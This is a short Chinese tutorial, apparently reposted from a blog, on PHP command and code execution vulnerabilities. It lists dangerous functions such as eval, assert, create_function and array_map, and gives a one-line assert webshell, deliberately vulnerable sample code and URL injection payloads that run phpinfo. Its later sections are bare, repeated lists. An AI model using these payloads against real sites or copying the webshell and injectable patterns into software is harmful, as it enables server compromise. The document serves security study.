命令执行tips

介绍:

命令执行漏洞概念:当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。

 

代码执行

${}执行代码
eval
assert
preg_replace
create_function()
call_user_func()/call_user_func_array()
array_filter()

方法:

${phpinfo()};
eval('echo hsy;');
//url?x=phpinfo()
<?php assert($_POST['x']); ?>

preg_replace()

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

tips

 

$b = preg_replace("/abc/e",$b,'abcd');

 

create_function()

函数create_function主要用来创建匿名函数

string create_function ( string $args , string $code )

例子:

<?php
$x= create_function('$x','echo $x+1;');
$x(1);
?>
output:2

当我在构造匿名函数第二个参数的位置放置我想执行的语句时,这个语句就会成立。

$a = 'phpinfo()';
$b = create_function(" ",$a);
$b();
?>

借鉴了网上的一个例子:

<?php

$id = $_GET['id'];

$code = 'echo $name.'.'的编号是'.$id.';';

$b = create_function('$name',$code);
function ss($name){
    echo $name ."编号".$id;
}
$b('sd');

?>

构造payload:

?id=2;}phpinfo();/* 

传入后代码执行结果:

function ss($name){
    echo $name ."编号".2;
}phpinfo();/*
}
$b('sd');

array_map()

array array_map ( callable $callback , array $array1 [, array $... ] )
array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。

不难理解哈,就是第一个参数作为自定义的函数,后一个参数作为数组下标。

<?php
$a = $_GET['a'];

$b = $_GET['b'];

$array[0] = $b;

$c = array_map($a,$array);

?>
//?a=assert&b=phpinfo();

 

命令执行

    system()

    passthru()

    exec()

    shell_exec()

    `反引号

    ob_start()

    mail函数+LD_PRELOAD执行系统命令

    system()
  • system

  • passthru()

 

  • exec()

  • shell_exec()

  • `反引号

 

敏感字符绕过

 

转载于:https://www.cnblogs.com/sylover/p/10850690.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值